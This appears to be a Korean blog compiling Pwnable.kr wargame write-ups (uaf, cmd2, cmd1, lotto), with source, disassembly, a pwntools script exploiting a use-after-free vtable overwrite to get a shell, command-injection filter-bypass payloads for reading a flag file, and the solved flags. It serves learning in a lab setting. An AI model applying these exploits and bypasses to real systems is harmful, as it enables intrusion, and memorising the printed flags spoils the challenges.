[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - uaf.cpp

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\\n2. after\\n3. free\\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

Use After Free(UAF)

GEF(GDB Enhanced Features)

→ gdb에서 heap 관련해서 확인할 때 peda나 pwndbg와 같은 플러그인이 있다고 한다~ chunk 확인에 유용해보임

 

정적분석

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0000000000400c28  _init
0x0000000000400c50  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()@plt
0x0000000000400c60  std::ostream::operator<<(int)@plt
0x0000000000400c70  operator new[](unsigned long)@plt
0x0000000000400c80  operator delete(void*)@plt
0x0000000000400c90  std::ios_base::Init::Init()@plt
0x0000000000400ca0  read@plt
0x0000000000400cb0  __libc_start_main@plt
0x0000000000400cc0  system@plt
0x0000000000400cd0  __cxa_atexit@plt
0x0000000000400ce0  std::ios_base::Init::~Init()@plt
0x0000000000400cf0  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400d00  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt
0x0000000000400d10  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt
0x0000000000400d20  atoi@plt
0x0000000000400d30  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <char, std::char_traits<char>, std::allocator<char> >(std::basic_ostream<char, std::char_traits<char> >&, std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)@plt
0x0000000000400d40  std::allocator<char>::~allocator()@plt
0x0000000000400d50  std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400d60  std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)@plt
0x0000000000400d70  std::allocator<char>::allocator()@plt
0x0000000000400d80  __gxx_personality_v0
0x0000000000400d80  __gxx_personality_v0@plt
0x0000000000400d90  operator new(unsigned long)@plt
0x0000000000400da0  _Unwind_Resume@plt
0x0000000000400db0  std::string::operator=(std::string const&)@plt
0x0000000000400dc0  open@plt
0x0000000000400dd0  std::istream::operator>>(unsigned int&)@plt
0x0000000000400de0  _start
0x0000000000400e0c  call_gmon_start
0x0000000000400e30  __do_global_dtors_aux
0x0000000000400ea0  frame_dummy
**0x0000000000400ec4  main**
0x0000000000401124  __static_initialization_and_destruction_0(int, int)
0x0000000000401164  _GLOBAL__sub_I_main
**0x000000000040117a  Human::give_shell()
0x0000000000401192  Human::introduce()
0x0000000000401210  Human::Human()
0x0000000000401210  Human::Human()
0x000000000040123a  Human::~Human()
0x000000000040123a  Human::~Human()
0x0000000000401264  Man::Man(std::string, int)
0x0000000000401264  Man::Man(std::string, int)
0x00000000004012d2  Man::introduce()
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401376  Woman::introduce()**
0x00000000004013b0  __libc_csu_init
0x0000000000401440  __libc_csu_fini
0x0000000000401450  __do_global_ctors_aux
0x0000000000401488  _fini

💡 set print asm-demangle on → gdb에서 c++ 함수 이름이 깨지는 것 방지해줌

main 함수

더보기
Dump of assembler code for function main:
   0x0000000000400ec4 <+0>:	push   rbp
   0x0000000000400ec5 <+1>:	mov    rbp,rsp
   0x0000000000400ec8 <+4>:	push   r12
   0x0000000000400eca <+6>:	push   rbx
   0x0000000000400ecb <+7>:	sub    rsp,0x50
   0x0000000000400ecf <+11>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400ed2 <+14>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000400ed6 <+18>:	lea    rax,[rbp-0x12]
   0x0000000000400eda <+22>:	mov    rdi,rax
   0x0000000000400edd <+25>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400ee2 <+30>:	lea    rdx,[rbp-0x12]
   0x0000000000400ee6 <+34>:	lea    rax,[rbp-0x50]
   0x0000000000400eea <+38>:	mov    esi,0x4014f0
   0x0000000000400eef <+43>:	mov    rdi,rax
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
   0x0000000000400f9c <+216>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000400fa1 <+221>:	lea    rax,[rbp-0x18]
   0x0000000000400fa5 <+225>:	mov    rsi,rax
   0x0000000000400fa8 <+228>:	mov    edi,0x6020e0
   0x0000000000400fad <+233>:	call   0x400dd0 <std::istream::operator>>(unsigned int&)@plt>
   0x0000000000400fb2 <+238>:	mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:	cmp    eax,0x2
   0x0000000000400fb8 <+244>:	je     0x401000 <main+316>
   0x0000000000400fba <+246>:	cmp    eax,0x3
   0x0000000000400fbd <+249>:	je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:	cmp    eax,0x1
   0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
   0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:	add    rax,0x8
   0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:	mov    rdi,rax
   0x0000000000400fe2 <+286>:	call   rdx
   0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>:	add    rax,0x8
   0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:	mov    rdi,rax
   0x0000000000400ff9 <+309>:	call   rdx
   0x0000000000400ffb <+311>:	jmp    0x4010a9 <main+485>
   0x0000000000401000 <+316>:	mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401004 <+320>:	add    rax,0x8
   0x0000000000401008 <+324>:	mov    rax,QWORD PTR [rax]
   0x000000000040100b <+327>:	mov    rdi,rax
   0x000000000040100e <+330>:	call   0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:	cdqe   
   0x0000000000401015 <+337>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000401019 <+341>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040101d <+345>:	mov    rdi,rax
   0x0000000000401020 <+348>:	call   0x400c70 <operator new[](unsigned long)@plt>
   0x0000000000401025 <+353>:	mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401029 <+357>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040102d <+361>:	add    rax,0x10
   0x0000000000401031 <+365>:	mov    rax,QWORD PTR [rax]
   0x0000000000401034 <+368>:	mov    esi,0x0
   0x0000000000401039 <+373>:	mov    rdi,rax
   0x000000000040103c <+376>:	mov    eax,0x0
   0x0000000000401041 <+381>:	call   0x400dc0 <open@plt>
   0x0000000000401046 <+386>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x000000000040104a <+390>:	mov    rcx,QWORD PTR [rbp-0x20]
   0x000000000040104e <+394>:	mov    rsi,rcx
   0x0000000000401051 <+397>:	mov    edi,eax
   0x0000000000401053 <+399>:	call   0x400ca0 <read@plt>
   0x0000000000401058 <+404>:	mov    esi,0x401513
   0x000000000040105d <+409>:	mov    edi,0x602260
   0x0000000000401062 <+414>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000401067 <+419>:	mov    esi,0x400d60
   0x000000000040106c <+424>:	mov    rdi,rax
   0x000000000040106f <+427>:	call   0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
   0x0000000000401074 <+432>:	jmp    0x4010a9 <main+485>
   0x0000000000401076 <+434>:	mov    rbx,QWORD PTR [rbp-0x38]
   0x000000000040107a <+438>:	test   rbx,rbx
   0x000000000040107d <+441>:	je     0x40108f <main+459>
   0x000000000040107f <+443>:	mov    rdi,rbx
   0x0000000000401082 <+446>:	call   0x40123a <Human::~Human()>
   0x0000000000401087 <+451>:	mov    rdi,rbx
   0x000000000040108a <+454>:	call   0x400c80 <operator delete(void*)@plt>
   0x000000000040108f <+459>:	mov    rbx,QWORD PTR [rbp-0x30]
   0x0000000000401093 <+463>:	test   rbx,rbx
   0x0000000000401096 <+466>:	je     0x4010a8 <main+484>
   0x0000000000401098 <+468>:	mov    rdi,rbx
   0x000000000040109b <+471>:	call   0x40123a <Human::~Human()>
   0x00000000004010a0 <+476>:	mov    rdi,rbx
   0x00000000004010a3 <+479>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010a8 <+484>:	nop
   0x00000000004010a9 <+485>:	jmp    0x400f92 <main+206>
   0x00000000004010ae <+490>:	mov    r12,rax
   0x00000000004010b1 <+493>:	mov    rdi,rbx
   0x00000000004010b4 <+496>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010b9 <+501>:	mov    rbx,r12
   0x00000000004010bc <+504>:	jmp    0x4010c1 <main+509>
   0x00000000004010be <+506>:	mov    rbx,rax
   0x00000000004010c1 <+509>:	lea    rax,[rbp-0x50]
   0x00000000004010c5 <+513>:	mov    rdi,rax
   0x00000000004010c8 <+516>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x00000000004010cd <+521>:	jmp    0x4010d2 <main+526>
   0x00000000004010cf <+523>:	mov    rbx,rax
   0x00000000004010d2 <+526>:	lea    rax,[rbp-0x12]
   0x00000000004010d6 <+530>:	mov    rdi,rax
   0x00000000004010d9 <+533>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x00000000004010de <+538>:	mov    rax,rbx
   0x00000000004010e1 <+541>:	mov    rdi,rax
   0x00000000004010e4 <+544>:	call   0x400da0 <_Unwind_Resume@plt>
   0x00000000004010e9 <+549>:	mov    r12,rax
   0x00000000004010ec <+552>:	mov    rdi,rbx
   0x00000000004010ef <+555>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010f4 <+560>:	mov    rbx,r12
   0x00000000004010f7 <+563>:	jmp    0x4010fc <main+568>
   0x00000000004010f9 <+565>:	mov    rbx,rax
   0x00000000004010fc <+568>:	lea    rax,[rbp-0x40]
   0x0000000000401100 <+572>:	mov    rdi,rax
   0x0000000000401103 <+575>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000401108 <+580>:	jmp    0x40110d <main+585>
   0x000000000040110a <+582>:	mov    rbx,rax
   0x000000000040110d <+585>:	lea    rax,[rbp-0x11]
   0x0000000000401111 <+589>:	mov    rdi,rax
   0x0000000000401114 <+592>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000401119 <+597>:	mov    rax,rbx
   0x000000000040111c <+600>:	mov    rdi,rax
   0x000000000040111f <+603>:	call   0x400da0 <_Unwind_Resume@plt>
End of assembler dump.
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   **0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>**
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   **0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>**
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
  • Human* m = new Man(”Jack”, 25); 와 Human* w = new Woman(”Jill”, 21);에 대응하는 부분
  • 새로운 객체가 생성됨
  • main+79에 bp 걸어 레지스터 값 확인

→ rax, rbx모두 0xddac50 값을 가짐

  • 해당 메모리를 확인해보면 0x401570의 VPTR을 확인할 수 있음

  • 0x401570 에서 0X40117a가 저장되어 있음을 확인할 수 있는데, 이는 get_shell 함수임

  • get_shell 함수 다음에 introduce 함수가 호출됨

  • 해당 값은 rbp-0x38에 저장됨

 

  • woman을 생성하는 부분도 동일하게 진행됨→ 여기서는 rbp-0x30에 rbx 값을 넣음
    • 해당 부분에서도 get_shell이 호출됨을 알 수 있음
    • man이나 woman 중 아무거나 사용해도 될 것 같음!

 

case 1

0x0000000000400fc3 <+255>:	cmp    eax,0x1
0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
**0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]**
0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
**0x0000000000400fd4 <+272>:	add    rax,0x8**
0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>:	mov    rdi,rax
0x0000000000400fe2 <+286>:	call   rdx
**0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]**
0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
**0x0000000000400feb <+295>:	add    rax,0x8**
0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>:	mov    rdi,rax
  • use 부분에서 man과 woman 모두 introduce 함수를 호출함
  • 이때, 각각 rbp-0x38, rbp-0x30 값을 rax 레지스터에 저장함
  • 중요한 점은 rax 레지스터에 값을 저장한 후에 8을 더하고 있음
 💡 내가 원하는 값을 호출하기 위해서는 원래 함수 값에서 -8 해준 값을 전달해줘야 함을 알 수 있음

 

문제 해결

💡 free 후에 새로운 데이터를 집어넣어 use 하는 부분에서 get_shell이 실행되도록 변조
     → introduce 함수 대신 get_shell이 실행돼야 함
     free → after → use 형태로 호출하면 될 것 같음
  • main 함수에서 Jack과 Jill이라는 객체를 생성하는 부분이 있음 → VPTR 생성
  • use 부분에서 introduce 함수가 호출되는 것은 VPTR(0x401570)으로부터 +8 위치에 있음

  • 우리가 실행하고 싶은 함수는 get_shell임
    • 이는 introduce 함수 앞에 위치해있음
    • data 값으로 VPTR의 -8인 값을 전달해주면 add 0x8을 했을 때 introduce 함수가 아닌, 8byte 만큼 작은 주소 값에 위치한 get_shell 함수를 호출할 수 있음

→ after를 1번만 누르면 Segmentation fault가 발생함

  • after 부분에서 argv[1]로 len, argv[2]로 data를 입력 받고 있으므로 64bit 바이너리에 맞게 8, VPTR-8 값을 넣어줌(argv[2]에 바로 전달하면 값이 깨지므로 python으로 파일 속에 값을 넣어주고 나서 파일을 이용함)

 

원격 실행 코드

from pwn import *

p = ssh(user='uaf', host='pwnable.kr', password='guest', port=2222)
#p.run("mkdir /tmp/sik")
p.write('/tmp/sik', '\\x68\\x15\\x40\\x00\\x00\\x00\\x00\\x00')

array=" 8 /tmp/sik"
argv = array.split(' ')
print argv
s=p.process(executable="/home/uaf/uaf", argv=argv)

print s.recvuntil('3. free')
s.sendline("3")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("1")

s.interactive()


flag

🍒 yay_f1ag_aft3r_pwning

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - cmd2.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\\n", argv[1]);
	system( argv[1] );
	return 0;
}
  • delete_env 함수를 통해 환경 변수를 모두 지워버림
  • putenv 함수를 통해 PATH 값을 바꿔버림
    • cmd1처럼 절대 경로로 접근해야 하나 /를 필터링 하고 있어 이를 우회할 방안이 필요함

실패- 1

PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings

./cmd2 '${HOME:0:1}bin${HOME:0:1}cat fla*'

→ /를 ${HOME:0:1}로 치환할 수 있어 사용해봤으나 delete_env 함수로 지워진다는 것을 간과함

home 환경 변수 있는지 확인해봐야함(setting)

실패- 2

./cmd2 '$(echo . | tr '!-0' '"-1')bin$(echo . | tr '!-0' '"-1')cat fl*'

→ $(echo . | tr '!-0' '"-1')로도 변경할 수 있었는데 event not found라는 에러가 발생하면서 flag를 구할 수 없음..

현재의 절대 경로를 파이프로 넘겨서 맨 처음 글자 따오기..

echo . / tr / | 따로따로 분석해보기 → 원인 분석 필요

 

더보기
./cmd2 "cd ..; cd ..; \\$(pwd)bin\\$(pwd)cat \\$(pwd)home\\$(pwd)cmd2\\$(pwd)f*"

→ 최상위 경로에서 /만

/home/cmd2/cmd2 'set -s'
/bin/cat /home/cmd2/flag

set

./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag

./cmd2 'read a; $a'
/bin/cat flag

read

./cmd2 '$(echo "\\57")bin$(echo "\\57")cat fl*'
관련하여 좀 더 공부 필요

🧸command 

괜히 9점이 아닌가보다


flag

🍒 FuN_w1th_5h3ll_v4riabl3s_haha

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15

[문제]

 


[풀이]

보호기법 분석

  • 64 bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - cmd1.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "flag")!=0;
	r += strstr(cmd, "sh")!=0;
	r += strstr(cmd, "tmp")!=0;
	return r;
}
int main(int argc, char* argv[], char** envp){
	putenv("PATH=/thankyouverymuch");
	if(filter(argv[1])) return 0;
	system( argv[1] );
	return 0;
}
    • putenv 함수는 환경 변수 값을 변경해버림(프로그램 실행동안)
      • 본래 PATH는 아래와 같이 정의됨
      • 그렇기 때문에 ls나 cat과 같은 명령을 절대경로 없이 사용할 수 있음
      • 그러나 putenv로 PATH의 value를 thankyouverymuch로 변경해버렸기 때문에 ls도 그냥 사용할 수 없음 /bin/ls와 같은 형태로 사용해야 함

  • 사용자 입력은 argv[1]로 전달됨
  • filter 함수에서 사용자가 입력한 값 중 sh, flag, tmp가 있으면 바이너리가 종료됨
  • filter 함수를 무사히 통과하면 system 함수를 호출하며 사용자가 argv[1]로 준 값을 명령어로서 실행해줌
  • 문제 이름에서부터 유추했지만 command injection 취약점이 발생하고 있음

 

문제 해결

💡 절대 경로로 명령어에 접근하여 flag 파일을 읽으면 될 것
  • flag 파일은 와일드카드(*)나 [a-z], ? 등등으로 치환하여 읽을 수 있음
    • argv는 띄워쓰기를 기준으로 구분되기 때문에 cat flag를 하나로 묶으려면 따옴표를 이용해야 함


flag

🍒 mommy now I get what PATH environment is for :)

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] uaf  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 존재
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - lotto.c

#include 
#include 
#include 
#include 

unsigned char submit[6];

void play(){
	
	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if(fd==-1){
		printf("error. tell admin\\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if(read(fd, lotto, 6) != 6){
		printf("error2. tell admin\\n");
		exit(-1);
	}
	for(i=0; i<6; i++){
		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
	}
	close(fd);
	
	// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}

	// win!
	if(match == 6){
		system("/bin/cat flag");
	}
	else{
		printf("bad luck...\\n");
	}

}

void help(){
	printf("- nLotto Rule -\\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\\n");
	printf("your goal is to match lotto numbers as many as you can\\n");
	printf("if you win lottery for *1st place*, you will get reward\\n");
	printf("for more details, follow the link below\\n");
	printf("<http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\\n\\n>");
	printf("mathematical chance to win this game is known to be 1/8145060.\\n");
}

int main(int argc, char* argv[]){

	// menu
	unsigned int menu;

	while(1){

		printf("- Select Menu -\\n");
		printf("1. Play Lotto\\n");
		printf("2. Help\\n");
		printf("3. Exit\\n");

		scanf("%d", &menu);

		switch(menu){
			case 1:
				play();
				break;
			case 2:
				help();
				break;
			case 3:
				printf("bye\\n");
				return 0;
			default:
				printf("invalid menu\\n");
				break;
		}
	}
	return 0;
}
  • main 함수에서는 단순히 선택한 기능에 대한 함수들을 호출함
  • play 함수에서 사용자에게 6byte의 lotto 값을 입력 받아 /dev/urandom으로부터 생성된 난수와 비교하여 모두 같다면 flag를 반환함
  • 여기서 찾은 이상한 점
// calculate lotto score
	int match = 0, j = 0;
	for(i=0; i<6; i++){
		for(j=0; j<6; j++){
			if(lotto[i] == submit[j]){
				match++;
			}
		}
	}
    • 같은 값이 있는지를 6번이나 반복한다..?
    • 비교해서 같은 값이 있거나/없다면 해당 값을 제외하고 비교해야 하는데 무조건적으로 반복 비교함

 

문제 해결

💡 같은 값을 6번 입력해서 그 중에 하나가 맞는게 있다면 36번 중에 6번 맞게 되니 lotto에 당첨될 것!
unsigned char submit[6];
int r;
r = read(0, submit, 6);
  • submit에 저장되는 값은 char 형태임
    • 1을 입력하더라도 10진수여서 0x01로 인식되지 않고 char형으로 인식되기 때문에 0x31 값으로 인식됨
    • 따라서 1-45의 범위를 갖는 로또 번호는 char형으로 변환하여 사용자가 입력으로 줘야 함
